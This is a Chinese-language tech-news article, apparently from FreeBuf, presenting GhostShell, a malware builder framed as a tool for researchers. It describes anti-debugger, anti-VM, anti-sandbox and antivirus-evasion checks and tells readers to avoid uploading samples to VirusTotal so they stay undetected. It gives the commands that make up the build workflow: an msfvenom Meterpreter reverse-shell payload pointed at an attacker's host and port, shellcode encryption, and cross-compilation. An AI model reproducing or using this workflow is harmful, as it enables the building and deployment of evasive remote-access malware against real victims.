GhostShell是一款專爲惡意軟件研究人員設計的工具,首先它是無法被檢測到的,自帶有反病毒產品繞過技術,並且無法進行反彙編分析。同時在這個惡意軟件中,它還使用了某些技術來繞過反病毒產品、虛擬機和沙箱環境。   注意事項

爲了保證反病毒產品無法檢測到GhostShell,請不要將生成的樣本發送至VirusTotal。如果想要檢測GhostShell,可以將其發送至 https://www.hybrid-analysis.com/ ,別忘了勾選“Do not send my sample to non-affiliated third parties”選項(不要將我的樣本發送給第三方廠商)。

工具下載

廣大研究人員可以使用下列命令將該項目源碼克隆至本地,然後進行代碼編譯:

git clone https://github.com/ReddyyZ/GhostShell.git

繞過技術

反調試器

爲了嘗試繞過調試器的分析,GhostShell在這裏使用了 Windows.h 庫中的 IsDebuggerPresent() 方法來判斷當前是否有代碼調試器正在運行。

反虛擬機/反沙箱環境/反AV

1、 進程枚舉功能

GhostShell可以枚舉出當前操作系統中所有正在運行的進程,然後將進程列表與黑名單中的進程名稱進行對比,如果找到了匹配的進程,則返回識別標識符“-1”。

2、 休眠加速檢測功能

首先,GhostShell會嘗試獲取當前時間,然後休眠兩分鐘。接下來,並再次嘗試獲取時間,然後進行對比。如果時間差小於2,則返回識別標識符“-1”。

3、 MAC地址檢測功能

獲取系統MAC地址,並與黑名單中的MAC地址進行比對,如果檢測到了匹配項,則返回識別標識符“-1”。

生成ShellCode 

如需生成ShellCode,你需要在命令行終端窗口中輸入下列命令:

msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c

接下來,你需要拷貝生成的ShellCode,然後對其進行加密處理。

在加密時,你需要使用 encrypt_shellcode 腳本。

在Linux平臺上,請運行下列命令:

./encrypt_shellcode e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(shellcode)""

在Windows平臺上,請運行下列命令:

encrypt_shellcode.exe e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(YOUR_SHELLCODE)""

如何在Linux編譯Windows端惡意軟件

如果你需要在Linux系統中編譯適用於Windows平臺的GhostShell程序,首先你需要運行下列命令安裝mingw-w64:

sudo apt-get install mingw-w64

接下來,運行下列命令編譯32位代碼:

i686-w64-mingw32-gcc -o main.exe main.c -l psapi –static

或者,你也可以運行下列命令編譯64位源碼:

x86_64-w64-mingw32 -o main.exe main.c -l psapi -static

許可證協議

GhostShell項目的開發與發佈遵循 MIT開源許可證協議

項目地址

GhostShell:【 GitHub 傳送門

參考來源

ReddyyZ

*FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM

相關文章